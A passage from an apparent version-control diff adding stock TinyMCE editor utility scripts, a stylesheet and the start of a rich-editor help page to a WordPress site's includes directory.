$1="$2"')}document.dir=b.editor.getParam("directionality","");if((a=b.editor.translate(c))&&a!=c){document.body.innerHTML=a}if((a=b.editor.translate(d))&&a!=d){document.title=d=a}}document.body.style.display="";if(tinymce.isIE){document.attachEvent("onmouseup",tinyMCEPopup._restoreSelection);b.dom.add(b.dom.select("head")[0],"base",{target:"_self"})}b.restoreSelection();b.resizeToInnerSize();if(!b.isWindow){b.editor.windowManager.setTitle(window,d)}else{window.focus()}if(!tinymce.isIE&&!b.isWindow){tinymce.dom.Event._add(document,"focus",function(){b.editor.windowManager.focus(b.id)})}tinymce.each(b.dom.select("select"),function(f){f.onkeydown=tinyMCEPopup._accessHandler});tinymce.each(b.listeners,function(f){f.func.call(f.scope,b.editor)});if(b.getWindowArg("mce_auto_focus",true)){window.focus();tinymce.each(document.forms,function(g){tinymce.each(g.elements,function(f){if(b.dom.hasClass(f,"mceFocus")&&!f.disabled){f.focus();return false}})})}document.onkeyup=tinyMCEPopup._closeWinKeyHandler},_accessHandler:function(a){a=a||window.event;if(a.keyCode==13||a.keyCode==32){a=a.target||a.srcElement;if(a.onchange){a.onchange()}return tinymce.dom.Event.cancel(a)}},_closeWinKeyHandler:function(a){a=a||window.event;if(a.keyCode==27){tinyMCEPopup.close()}},_wait:function(){if(document.attachEvent){document.attachEvent("onreadystatechange",function(){if(document.readyState==="complete"){document.detachEvent("onreadystatechange",arguments.callee);tinyMCEPopup._onDOMLoaded()}});if(document.documentElement.doScroll&&window==window.top){(function(){if(tinyMCEPopup.domLoaded){return}try{document.documentElement.doScroll("left")}catch(a){setTimeout(arguments.callee,0);return}tinyMCEPopup._onDOMLoaded()})()}document.attachEvent("onload",tinyMCEPopup._onDOMLoaded)}else{if(document.addEventListener){window.addEventListener("DOMContentLoaded",tinyMCEPopup._onDOMLoaded,false);window.addEventListener("load",tinyMCEPopup._onDOMLoaded,false)}}}};tinyMCEPopup.init();tinyMCEPopup._wait();
Index: /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/utils/editable_selects.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/utils/editable_selects.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/utils/editable_selects.js	(revision 44)
@@ -0,0 +1,69 @@
+/**
+ * $Id: editable_selects.js 867 2008-06-09 20:33:40Z spocke $
+ *
+ * Makes select boxes editable.
+ *
+ * @author Moxiecode
+ * @copyright Copyright © 2004-2008, Moxiecode Systems AB, All rights reserved.
+ */
+
+var TinyMCE_EditableSelects = {
+	editSelectElm : null,
+
+	init : function() {
+		var nl = document.getElementsByTagName("select"), i, d = document, o;
+
+		for (i=0; i<nl.length; i++) {
+			if (nl[i].className.indexOf('mceEditableSelect') != -1) {
+				o = new Option('(value)', '__mce_add_custom__');
+
+				o.className = 'mceAddSelectValue';
+
+				nl[i].options[nl[i].options.length] = o;
+				nl[i].onchange = TinyMCE_EditableSelects.onChangeEditableSelect;
+			}
+		}
+	},
+
+	onChangeEditableSelect : function(e) {
+		var d = document, ne, se = window.event ? window.event.srcElement : e.target;
+
+		if (se.options[se.selectedIndex].value == '__mce_add_custom__') {
+			ne = d.createElement("input");
+			ne.id = se.id + "_custom";
+			ne.name = se.name + "_custom";
+			ne.type = "text";
+
+			ne.style.width = se.offsetWidth + 'px';
+			se.parentNode.insertBefore(ne, se);
+			se.style.display = 'none';
+			ne.focus();
+			ne.onblur = TinyMCE_EditableSelects.onBlurEditableSelectInput;
+			ne.onkeydown = TinyMCE_EditableSelects.onKeyDown;
+			TinyMCE_EditableSelects.editSelectElm = se;
+		}
+	},
+
+	onBlurEditableSelectInput : function() {
+		var se = TinyMCE_EditableSelects.editSelectElm;
+
+		if (se) {
+			if (se.previousSibling.value != '') {
+				addSelectValue(document.forms[0], se.id, se.previousSibling.value, se.previousSibling.value);
+				selectByValue(document.forms[0], se.id, se.previousSibling.value);
+			} else
+				selectByValue(document.forms[0], se.id, '');
+
+			se.style.display = 'inline';
+			se.parentNode.removeChild(se.previousSibling);
+			TinyMCE_EditableSelects.editSelectElm = null;
+		}
+	},
+
+	onKeyDown : function(e) {
+		e = e || window.event;
+
+		if (e.keyCode == 13)
+			TinyMCE_EditableSelects.onBlurEditableSelectInput();
+	}
+};
Index: /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/utils/form_utils.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/utils/form_utils.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/utils/form_utils.js	(revision 44)
@@ -0,0 +1,199 @@
+/**
+ * $Id: form_utils.js 996 2009-02-06 17:32:20Z spocke $
+ *
+ * Various form utilitiy functions.
+ *
+ * @author Moxiecode
+ * @copyright Copyright © 2004-2008, Moxiecode Systems AB, All rights reserved.
+ */
+
+var themeBaseURL = tinyMCEPopup.editor.baseURI.toAbsolute('themes/' + tinyMCEPopup.getParam("theme"));
+
+function getColorPickerHTML(id, target_form_element) {
+	var h = "";
+
+	h += '<a id="' + id + '_link" href="javascript:;" onclick="tinyMCEPopup.pickColor(event,\'' + target_form_element +'\');" onmousedown="return false;" class="pickcolor">';
+	h += '<span id="' + id + '" title="' + tinyMCEPopup.getLang('browse') + '">&nbsp;</span></a>';
+
+	return h;
+}
+
+function updateColor(img_id, form_element_id) {
+	document.getElementById(img_id).style.backgroundColor = document.forms[0].elements[form_element_id].value;
+}
+
+function setBrowserDisabled(id, state) {
+	var img = document.getElementById(id);
+	var lnk = document.getElementById(id + "_link");
+
+	if (lnk) {
+		if (state) {
+			lnk.setAttribute("realhref", lnk.getAttribute("href"));
+			lnk.removeAttribute("href");
+			tinyMCEPopup.dom.addClass(img, 'disabled');
+		} else {
+			if (lnk.getAttribute("realhref"))
+				lnk.setAttribute("href", lnk.getAttribute("realhref"));
+
+			tinyMCEPopup.dom.removeClass(img, 'disabled');
+		}
+	}
+}
+
+function getBrowserHTML(id, target_form_element, type, prefix) {
+	var option = prefix + "_" + type + "_browser_callback", cb, html;
+
+	cb = tinyMCEPopup.getParam(option, tinyMCEPopup.getParam("file_browser_callback"));
+
+	if (!cb)
+		return "";
+
+	html = "";
+	html += '<a id="' + id + '_link" href="javascript:openBrowser(\'' + id + '\',\'' + target_form_element + '\', \'' + type + '\',\'' + option + '\');" onmousedown="return false;" class="browse">';
+	html += '<span id="' + id + '" title="' + tinyMCEPopup.getLang('browse') + '">&nbsp;</span></a>';
+
+	return html;
+}
+
+function openBrowser(img_id, target_form_element, type, option) {
+	var img = document.getElementById(img_id);
+
+	if (img.className != "mceButtonDisabled")
+		tinyMCEPopup.openBrowser(target_form_element, type, option);
+}
+
+function selectByValue(form_obj, field_name, value, add_custom, ignore_case) {
+	if (!form_obj || !form_obj.elements[field_name])
+		return;
+
+	var sel = form_obj.elements[field_name];
+
+	var found = false;
+	for (var i=0; i<sel.options.length; i++) {
+		var option = sel.options[i];
+
+		if (option.value == value || (ignore_case && option.value.toLowerCase() == value.toLowerCase())) {
+			option.selected = true;
+			found = true;
+		} else
+			option.selected = false;
+	}
+
+	if (!found && add_custom && value != '') {
+		var option = new Option(value, value);
+		option.selected = true;
+		sel.options[sel.options.length] = option;
+		sel.selectedIndex = sel.options.length - 1;
+	}
+
+	return found;
+}
+
+function getSelectValue(form_obj, field_name) {
+	var elm = form_obj.elements[field_name];
+
+	if (elm == null || elm.options == null)
+		return "";
+
+	return elm.options[elm.selectedIndex].value;
+}
+
+function addSelectValue(form_obj, field_name, name, value) {
+	var s = form_obj.elements[field_name];
+	var o = new Option(name, value);
+	s.options[s.options.length] = o;
+}
+
+function addClassesToList(list_id, specific_option) {
+	// Setup class droplist
+	var styleSelectElm = document.getElementById(list_id);
+	var styles = tinyMCEPopup.getParam('theme_advanced_styles', false);
+	styles = tinyMCEPopup.getParam(specific_option, styles);
+
+	if (styles) {
+		var stylesAr = styles.split(';');
+
+		for (var i=0; i<stylesAr.length; i++) {
+			if (stylesAr != "") {
+				var key, value;
+
+				key = stylesAr[i].split('=')[0];
+				value = stylesAr[i].split('=')[1];
+
+				styleSelectElm.options[styleSelectElm.length] = new Option(key, value);
+			}
+		}
+	} else {
+		tinymce.each(tinyMCEPopup.editor.dom.getClasses(), function(o) {
+			styleSelectElm.options[styleSelectElm.length] = new Option(o.title || o['class'], o['class']);
+		});
+	}
+}
+
+function isVisible(element_id) {
+	var elm = document.getElementById(element_id);
+
+	return elm && elm.style.display != "none";
+}
+
+function convertRGBToHex(col) {
+	var re = new RegExp("rgb\\s*\\(\\s*([0-9]+).*,\\s*([0-9]+).*,\\s*([0-9]+).*\\)", "gi");
+
+	var rgb = col.replace(re, "$1,$2,$3").split(',');
+	if (rgb.length == 3) {
+		r = parseInt(rgb[0]).toString(16);
+		g = parseInt(rgb[1]).toString(16);
+		b = parseInt(rgb[2]).toString(16);
+
+		r = r.length == 1 ? '0' + r : r;
+		g = g.length == 1 ? '0' + g : g;
+		b = b.length == 1 ? '0' + b : b;
+
+		return "#" + r + g + b;
+	}
+
+	return col;
+}
+
+function convertHexToRGB(col) {
+	if (col.indexOf('#') != -1) {
+		col = col.replace(new RegExp('[^0-9A-F]', 'gi'), '');
+
+		r = parseInt(col.substring(0, 2), 16);
+		g = parseInt(col.substring(2, 4), 16);
+		b = parseInt(col.substring(4, 6), 16);
+
+		return "rgb(" + r + "," + g + "," + b + ")";
+	}
+
+	return col;
+}
+
+function trimSize(size) {
+	return size.replace(/([0-9\.]+)px|(%|in|cm|mm|em|ex|pt|pc)/, '$1$2');
+}
+
+function getCSSSize(size) {
+	size = trimSize(size);
+
+	if (size == "")
+		return "";
+
+	// Add px
+	if (/^[0-9]+$/.test(size))
+		size += 'px';
+
+	return size;
+}
+
+function getStyle(elm, attrib, style) {
+	var val = tinyMCEPopup.dom.getAttrib(elm, attrib);
+
+	if (val != '')
+		return '' + val;
+
+	if (typeof(style) == 'undefined')
+		style = attrib;
+
+	return tinyMCEPopup.dom.getStyle(elm, style);
+}
Index: /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/utils/mclayer.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/utils/mclayer.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/utils/mclayer.js	(revision 44)
@@ -0,0 +1,210 @@
+/**
+ * $Id: mclayer.js 520 2008-01-07 16:30:32Z spocke $
+ *
+ * Moxiecode floating layer script.
+ *
+ * @author Moxiecode
+ * @copyright Copyright © 2004-2008, Moxiecode Systems AB, All rights reserved.
+ */
+
+function MCLayer(id) {
+	this.id = id;
+	this.settings = new Array();
+	this.blockerElement = null;
+	this.isMSIE = navigator.appName == "Microsoft Internet Explorer";
+	this.events = false;
+	this.autoHideCallback = null;
+}
+
+MCLayer.prototype = {
+	moveRelativeTo : function(re, p, a) {
+		var rep = this.getAbsPosition(re);
+		var w = parseInt(re.offsetWidth);
+		var h = parseInt(re.offsetHeight);
+		var x, y;
+
+		switch (p) {
+			case "tl":
+				break;
+
+			case "tr":
+				x = rep.absLeft + w;
+				y = rep.absTop;
+				break;
+
+			case "bl":
+				break;
+
+			case "br":
+				break;
+		}
+
+		this.moveTo(x, y);
+	},
+
+	moveBy : function(dx, dy) {
+		var e = this.getElement();
+		var x = parseInt(e.style.left);
+		var y = parseInt(e.style.top);
+
+		e.style.left = (x + dx) + "px";
+		e.style.top = (y + dy) + "px";
+
+		this.updateBlocker();
+	},
+
+	moveTo : function(x, y) {
+		var e = this.getElement();
+
+		e.style.left = x + "px";
+		e.style.top = y + "px";
+
+		this.updateBlocker();
+	},
+
+	show : function() {
+		MCLayer.visibleLayer = this;
+
+		this.getElement().style.display = 'block';
+		this.updateBlocker();
+	},
+
+	hide : function() {
+		this.getElement().style.display = 'none';
+		this.updateBlocker();
+	},
+
+	setAutoHide : function(s, cb) {
+		this.autoHideCallback = cb;
+		this.registerEventHandlers();
+	},
+
+	getElement : function() {
+		return document.getElementById(this.id);
+	},
+
+	updateBlocker : function() {
+		if (!this.isMSIE)
+			return;
+
+		var e = this.getElement();
+		var b = this.getBlocker();
+		var x = this.parseInt(e.style.left);
+		var y = this.parseInt(e.style.top);
+		var w = this.parseInt(e.offsetWidth);
+		var h = this.parseInt(e.offsetHeight);
+
+		b.style.left = x + 'px';
+		b.style.top = y + 'px';
+		b.style.width = w + 'px';
+		b.style.height = h + 'px';
+		b.style.display = e.style.display;
+	},
+
+	getBlocker : function() {
+		if (!this.blockerElement) {
+			var d = document, b = d.createElement("iframe");
+
+			b.style.cssText = 'display: none; left: 0px; position: absolute; top: 0';
+			b.src = 'javascript:false;';
+			b.frameBorder = '0';
+			b.scrolling = 'no';
+
+			d.body.appendChild(b);
+			this.blockerElement = b;
+		}
+
+		return this.blockerElement;
+	},
+
+	getAbsPosition : function(n) {
+		var p = {absLeft : 0, absTop : 0};
+
+		while (n) {
+			p.absLeft += n.offsetLeft;
+			p.absTop += n.offsetTop;
+			n = n.offsetParent;
+		}
+
+		return p;
+	},
+
+	registerEventHandlers : function() {
+		if (!this.events) {
+			var d = document;
+
+			this.addEvent(d, 'mousedown', MCLayer.prototype.onMouseDown);
+
+			this.events = true;
+		}
+	},
+
+	addEvent : function(o, n, h) {
+		if (o.attachEvent)
+			o.attachEvent("on" + n, h);
+		else
+			o.addEventListener(n, h, false);
+	},
+
+	onMouseDown : function(e) {
+		e = typeof(e) == "undefined" ? window.event : e;
+		var b = document.body;
+		var l = MCLayer.visibleLayer;
+
+		if (l) {
+			var mx = l.isMSIE ? e.clientX + b.scrollLeft : e.pageX;
+			var my = l.isMSIE ? e.clientY + b.scrollTop : e.pageY;
+			var el = l.getElement();
+			var x = parseInt(el.style.left);
+			var y = parseInt(el.style.top);
+			var w = parseInt(el.offsetWidth);
+			var h = parseInt(el.offsetHeight);
+
+			if (!(mx > x && mx < x + w && my > y && my < y + h)) {
+				MCLayer.visibleLayer = null;
+
+				if (l.autoHideCallback && l.autoHideCallback(l, e, mx, my))
+					return true;
+
+				l.hide();
+			}
+		}
+	},
+
+	addCSSClass : function(e, c) {
+		this.removeCSSClass(e, c);
+		var a = this.explode(' ', e.className);
+		a[a.length] = c;
+		e.className = a.join(' ');
+	},
+
+	removeCSSClass : function(e, c) {
+		var a = this.explode(' ', e.className), i;
+
+		for (i=0; i<a.length; i++) {
+			if (a[i] == c)
+				a[i] = '';
+		}
+
+		e.className = a.join(' ');
+	},
+
+	explode : function(d, s) {
+		var ar = s.split(d);
+		var oar = new Array();
+
+		for (var i = 0; i<ar.length; i++) {
+			if (ar[i] != "")
+				oar[oar.length] = ar[i];
+		}
+
+		return oar;
+	},
+
+	parseInt : function(s) {
+		if (s == null || s == '')
+			return 0;
+
+		return parseInt(s);
+	}
+}
Index: /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/utils/mctabs.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/utils/mctabs.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/utils/mctabs.js	(revision 44)
@@ -0,0 +1,76 @@
+/**
+ * $Id: mctabs.js 758 2008-03-30 13:53:29Z spocke $
+ *
+ * Moxiecode DHTML Tabs script.
+ *
+ * @author Moxiecode
+ * @copyright Copyright © 2004-2008, Moxiecode Systems AB, All rights reserved.
+ */
+
+function MCTabs() {
+	this.settings = [];
+};
+
+MCTabs.prototype.init = function(settings) {
+	this.settings = settings;
+};
+
+MCTabs.prototype.getParam = function(name, default_value) {
+	var value = null;
+
+	value = (typeof(this.settings[name]) == "undefined") ? default_value : this.settings[name];
+
+	// Fix bool values
+	if (value == "true" || value == "false")
+		return (value == "true");
+
+	return value;
+};
+
+MCTabs.prototype.displayTab = function(tab_id, panel_id) {
+	var panelElm, panelContainerElm, tabElm, tabContainerElm, selectionClass, nodes, i;
+
+	panelElm= document.getElementById(panel_id);
+	panelContainerElm = panelElm ? panelElm.parentNode : null;
+	tabElm = document.getElementById(tab_id);
+	tabContainerElm = tabElm ? tabElm.parentNode : null;
+	selectionClass = this.getParam('selection_class', 'current');
+
+	if (tabElm && tabContainerElm) {
+		nodes = tabContainerElm.childNodes;
+
+		// Hide all other tabs
+		for (i = 0; i < nodes.length; i++) {
+			if (nodes[i].nodeName == "LI")
+				nodes[i].className = '';
+		}
+
+		// Show selected tab
+		tabElm.className = 'current';
+	}
+
+	if (panelElm && panelContainerElm) {
+		nodes = panelContainerElm.childNodes;
+
+		// Hide all other panels
+		for (i = 0; i < nodes.length; i++) {
+			if (nodes[i].nodeName == "DIV")
+				nodes[i].className = 'panel';
+		}
+
+		// Show selected panel
+		panelElm.className = 'current';
+	}
+};
+
+MCTabs.prototype.getAnchor = function() {
+	var pos, url = document.location.href;
+
+	if ((pos = url.lastIndexOf('#')) != -1)
+		return url.substring(pos + 1);
+
+	return "";
+};
+
+// Global instance
+var mcTabs = new MCTabs();
Index: /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/utils/validate.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/utils/validate.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/utils/validate.js	(revision 44)
@@ -0,0 +1,219 @@
+/**
+ * $Id: validate.js 758 2008-03-30 13:53:29Z spocke $
+ *
+ * Various form validation methods.
+ *
+ * @author Moxiecode
+ * @copyright Copyright © 2004-2008, Moxiecode Systems AB, All rights reserved.
+ */
+
+/**
+	// String validation:
+
+	if (!Validator.isEmail('myemail'))
+		alert('Invalid email.');
+
+	// Form validation:
+
+	var f = document.forms['myform'];
+
+	if (!Validator.isEmail(f.myemail))
+		alert('Invalid email.');
+*/
+
+var Validator = {
+	isEmail : function(s) {
+		return this.test(s, '^[-!#$%&\'*+\\./0-9=?A-Z^_`a-z{|}~]+@[-!#$%&\'*+\\/0-9=?A-Z^_`a-z{|}~]+\.[-!#$%&\'*+\\./0-9=?A-Z^_`a-z{|}~]+$');
+	},
+
+	isAbsUrl : function(s) {
+		return this.test(s, '^(news|telnet|nttp|file|http|ftp|https)://[-A-Za-z0-9\\.]+\\/?.*$');
+	},
+
+	isSize : function(s) {
+		return this.test(s, '^[0-9]+(%|in|cm|mm|em|ex|pt|pc|px)?$');
+	},
+
+	isId : function(s) {
+		return this.test(s, '^[A-Za-z_]([A-Za-z0-9_])*$');
+	},
+
+	isEmpty : function(s) {
+		var nl, i;
+
+		if (s.nodeName == 'SELECT' && s.selectedIndex < 1)
+			return true;
+
+		if (s.type == 'checkbox' && !s.checked)
+			return true;
+
+		if (s.type == 'radio') {
+			for (i=0, nl = s.form.elements; i<nl.length; i++) {
+				if (nl[i].type == "radio" && nl[i].name == s.name && nl[i].checked)
+					return false;
+			}
+
+			return true;
+		}
+
+		return new RegExp('^\\s*$').test(s.nodeType == 1 ? s.value : s);
+	},
+
+	isNumber : function(s, d) {
+		return !isNaN(s.nodeType == 1 ? s.value : s) && (!d || !this.test(s, '^-?[0-9]*\\.[0-9]*$'));
+	},
+
+	test : function(s, p) {
+		s = s.nodeType == 1 ? s.value : s;
+
+		return s == '' || new RegExp(p).test(s);
+	}
+};
+
+var AutoValidator = {
+	settings : {
+		id_cls : 'id',
+		int_cls : 'int',
+		url_cls : 'url',
+		number_cls : 'number',
+		email_cls : 'email',
+		size_cls : 'size',
+		required_cls : 'required',
+		invalid_cls : 'invalid',
+		min_cls : 'min',
+		max_cls : 'max'
+	},
+
+	init : function(s) {
+		var n;
+
+		for (n in s)
+			this.settings[n] = s[n];
+	},
+
+	validate : function(f) {
+		var i, nl, s = this.settings, c = 0;
+
+		nl = this.tags(f, 'label');
+		for (i=0; i<nl.length; i++)
+			this.removeClass(nl[i], s.invalid_cls);
+
+		c += this.validateElms(f, 'input');
+		c += this.validateElms(f, 'select');
+		c += this.validateElms(f, 'textarea');
+
+		return c == 3;
+	},
+
+	invalidate : function(n) {
+		this.mark(n.form, n);
+	},
+
+	reset : function(e) {
+		var t = ['label', 'input', 'select', 'textarea'];
+		var i, j, nl, s = this.settings;
+
+		if (e == null)
+			return;
+
+		for (i=0; i<t.length; i++) {
+			nl = this.tags(e.form ? e.form : e, t[i]);
+			for (j=0; j<nl.length; j++)
+				this.removeClass(nl[j], s.invalid_cls);
+		}
+	},
+
+	validateElms : function(f, e) {
+		var nl, i, n, s = this.settings, st = true, va = Validator, v;
+
+		nl = this.tags(f, e);
+		for (i=0; i<nl.length; i++) {
+			n = nl[i];
+
+			this.removeClass(n, s.invalid_cls);
+
+			if (this.hasClass(n, s.required_cls) && va.isEmpty(n))
+				st = this.mark(f, n);
+
+			if (this.hasClass(n, s.number_cls) && !va.isNumber(n))
+				st = this.mark(f, n);
+
+			if (this.hasClass(n, s.int_cls) && !va.isNumber(n, true))
+				st = this.mark(f, n);
+
+			if (this.hasClass(n, s.url_cls) && !va.isAbsUrl(n))
+				st = this.mark(f, n);
+
+			if (this.hasClass(n, s.email_cls) && !va.isEmail(n))
+				st = this.mark(f, n);
+
+			if (this.hasClass(n, s.size_cls) && !va.isSize(n))
+				st = this.mark(f, n);
+
+			if (this.hasClass(n, s.id_cls) && !va.isId(n))
+				st = this.mark(f, n);
+
+			if (this.hasClass(n, s.min_cls, true)) {
+				v = this.getNum(n, s.min_cls);
+
+				if (isNaN(v) || parseInt(n.value) < parseInt(v))
+					st = this.mark(f, n);
+			}
+
+			if (this.hasClass(n, s.max_cls, true)) {
+				v = this.getNum(n, s.max_cls);
+
+				if (isNaN(v) || parseInt(n.value) > parseInt(v))
+					st = this.mark(f, n);
+			}
+		}
+
+		return st;
+	},
+
+	hasClass : function(n, c, d) {
+		return new RegExp('\\b' + c + (d ? '[0-9]+' : '') + '\\b', 'g').test(n.className);
+	},
+
+	getNum : function(n, c) {
+		c = n.className.match(new RegExp('\\b' + c + '([0-9]+)\\b', 'g'))[0];
+		c = c.replace(/[^0-9]/g, '');
+
+		return c;
+	},
+
+	addClass : function(n, c, b) {
+		var o = this.removeClass(n, c);
+		n.className = b ? c + (o != '' ? (' ' + o) : '') : (o != '' ? (o + ' ') : '') + c;
+	},
+
+	removeClass : function(n, c) {
+		c = n.className.replace(new RegExp("(^|\\s+)" + c + "(\\s+|$)"), ' ');
+		return n.className = c != ' ' ? c : '';
+	},
+
+	tags : function(f, s) {
+		return f.getElementsByTagName(s);
+	},
+
+	mark : function(f, n) {
+		var s = this.settings;
+
+		this.addClass(n, s.invalid_cls);
+		this.markLabels(f, n, s.invalid_cls);
+
+		return false;
+	},
+
+	markLabels : function(f, n, ic) {
+		var nl, i;
+
+		nl = this.tags(f, "label");
+		for (i=0; i<nl.length; i++) {
+			if (nl[i].getAttribute("for") == n.id || nl[i].htmlFor == n.id)
+				this.addClass(nl[i], ic);
+		}
+
+		return null;
+	}
+};
Index: /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/wordpress.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/wordpress.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/wordpress.css	(revision 44)
@@ -0,0 +1,89 @@
+/* This file contains the CSS data for the editable area(iframe) of TinyMCE */
+html {
+	background-color: #fff;
+}
+
+.aligncenter,
+dl.aligncenter {
+	display: block;
+	margin-left: auto;
+	margin-right: auto;
+}
+
+.alignleft {
+	float: left;
+}
+
+.alignright {
+	float: right;
+}
+
+.wp-caption {
+	border: 1px solid #ddd;
+	text-align: center;
+	background-color: #f3f3f3;
+	padding-top: 4px;
+	margin: 10px;
+	-moz-border-radius: 3px;
+	-khtml-border-radius: 3px;
+	-webkit-border-radius: 3px;
+	border-radius: 3px;
+}
+
+.wp-caption img {
+	margin: 0;
+	padding: 0;
+	border: 0 none;
+}
+
+.wp-caption-dd {
+	font-size: 11px;
+	line-height: 17px;
+	padding: 0 4px 5px;
+	margin: 0;
+}
+
+img.wpGallery {
+	border: 1px dotted #cc0000;
+	background: #ffffcc url("plugins/wpgallery/img/gallery.png") no-repeat scroll center center;
+	width: 99%;
+	height: 250px;
+}
+
+body.mceContentBody {
+	font: 13px/19px Georgia, "Times New Roman", "Bitstream Charter", Times, serif;
+	padding: 0.6em;
+	margin: 0;
+}
+
+body.mceForceColors {
+	background:#fff;
+	color:#000;
+}
+
+h1 {font-size: 2em}
+h2 {font-size: 1.5em}
+h3 {font-size: 1.17em}
+h4 {font-size: 1em}
+h5 {font-size: .83em}
+h6 {font-size: .75em}
+
+.mceItemTable, .mceItemTable td, .mceItemTable th, .mceItemTable caption, .mceItemVisualAid {
+	border: 1px dashed #BBB;
+}
+
+img {
+	border:0;
+}
+
+td {
+	font-size: 10px;
+}
+
+pre {
+	font: 12px/18px "Courier New", monospace;
+}
+
+.mceIEcenter {
+	text-align: center;
+}
Index: /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/wp-mce-help.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/wp-mce-help.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/wp-mce-help.php	(revision 44)
@@ -0,0 +1,263 @@
+<?php
+/**
+ * @package TinyMCE
+ * @author Moxiecode
+ * @copyright Copyright Â© 2005-2006, Moxiecode Systems AB, All rights reserved.
+ */
+
+/** @ignore */
+require_once('../../../wp-load.php');
+header('Content-Type: text/html; charset=' . get_bloginfo('charset'));
+?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" <?php language_attributes(); ?>>
+<head>
+<meta http-equiv="Content-Type" content="<?php bloginfo('html_type'); ?>; charset=<?php echo get_option('blog_charset'); ?>" />
+<title><?php _e('Rich Editor Help') ?></title>
+<script type="text/javascript" src="tiny_mce_popup.js?ver=3223"></script>
+<?php
+wp_admin_css( 'global', true );
+wp_admin_css( 'wp-admin', true );
+?>
+<style type="text/css">
+	#wphead {
+		font-size: 80%;
+		border-top: 0;
+		color: #555;
+		background-color: #f1f1f1;
+	}
+	#wphead h1 {
+		font-size: 24px;
+		color: #555;
+		margin: 0;
+		padding: 10px;
+	}
+	#tabs {
+		padding: 15px 15px 3px;
+		background-color: #f1f1f1;
+		border-bottom: 1px solid #dfdfdf;
+	}
+	#tabs li {
+		display: inline;
+	}
+	#tabs a.current {
+		background-color: #fff;
+		border-color: #dfdfdf;
+		border-bottom-color: #fff;
+		color: #d54e21;
+	}
+	#tabs a {
+		color: #2583AD;
+		padding: 6px;
+		border-width: 1px 1px 0;
+		border-style: solid solid none;
+		border-color: #f1f1f1;
+		text-decoration: none;
+	}
+	#tabs a:hover {
+		color: #d54e21;
+	}
+	.wrap h2 {
+		border-bottom-color: #dfdfdf;
+		color: #555;
+		margin: 5px 0;
+		padding: 0;
+		font-size: 18px;
+	}
+	#user_info {
+		right: 5%;
+		top: 5px;
+	}
+	h3 {
+		font-size: 1.1em;
+		margin-top: 10px;
+		margin-bottom: 0px;
+	}
+	#flipper {
+		margin: 0;
+		padding: 5px 20px 10px;
+		background-color: #fff;
+		border-left: 1px solid #dfdfdf;
+		border-bottom: 1px solid #dfdfdf;
+	}
+	* html {
+        overflow-x: hidden;
+        overflow-y: scroll;
+    }
+	#flipper div p {
+		margin-top: 0.4em;
+		margin-bottom: 0.8em;
+		text-align: justify;
+	}
+	th {
+		text-align: center;
+	}
+	.top th {
+		text-decoration: underline;
+	}
+	.top .key {
+		text-align: center;
+		width: 5em;
+	}
+	.top .action {
+		text-align: left;
+	}
+	.align {
+		border-left: 3px double #333;
+		border-right: 3px double #333;
+	}
+	.keys {
+		margin-bottom: 15px;
+	}
+	.keys p {
+		display: inline-block;
+		margin: 0px;
+		padding: 0px;
+	}
+	.keys .left { text-align: left; }
+	.keys .center { text-align: center; }
+	.keys .right { text-align: right; }
+	td b {
+		font-family: "Times New Roman" Times serif;
+	}
+	#buttoncontainer {
+		text-align: center;
+		margin-bottom: 20px;
+	}
+	#buttoncontainer a, #buttoncontainer a:hover {
+		border-bottom: 0px;
+	}
+</style>
+<?php if ( ('rtl' == $wp_locale->text_direction) ) : ?>
+<style type="text/css">
+	#wphead, #tabs {
+		padding-left: auto;
+		padding-right: 15px;
+	}
+	#flipper {
+		margin: 5px 0 3px 10px;
+	}
+	.keys .left, .top, .action { text-align: right; }
+	.keys .right { text-align: left; }
+	td b { font-family: Tahoma, "Times New Roman", Times, serif }
+</style>
+<?php endif; ?>
+<script type="text/javascript">
+	function d(id) { return document.getElementById(id); }
+
+	function flipTab(n) {
+		for (i=1;i<=4;i++) {
+			c = d('content'+i.toString());
+			t = d('tab'+i.toString());
+			if ( n == i ) {
+				c.className = '';
+				t.className = 'current';
+			} else {
+				c.className = 'hidden';
+				t.className = '';
+			}
+		}
+	}
+
+    function init() {
+        document.getElementById('version').innerHTML = tinymce.majorVersion + "." + tinymce.minorVersion;
+        document.getElementById('date').innerHTML = tinymce.releaseDate;
+    }
+    tinyMCEPopup.onInit.add(init);
+</script>
+</head>
+<body>
+
+<div id="wphead"><h1><?php echo get_bloginfo('blogtitle'); ?></h1></div>
+
+<ul id="tabs">
+	<li><a id="tab1" href="javascript:flipTab(1)" title="<?php _e('Basics of Rich Editing') ?>" accesskey="1" tabindex="1" class="current"><?php _e('Basics') ?></a></li>
+	<li><a id="tab2" href="javascript:flipTab(2)" title="<?php _e('Advanced use of the Rich Editor') ?>" accesskey="2" tabindex="2"><?php _e('Advanced') ?></a></li>
+	<li><a id="tab3" href="javascript:flipTab(3)" title="<?php _e('Hotkeys') ?>" accesskey="3" tabindex="3"><?php _e('Hotkeys') ?></a></li>
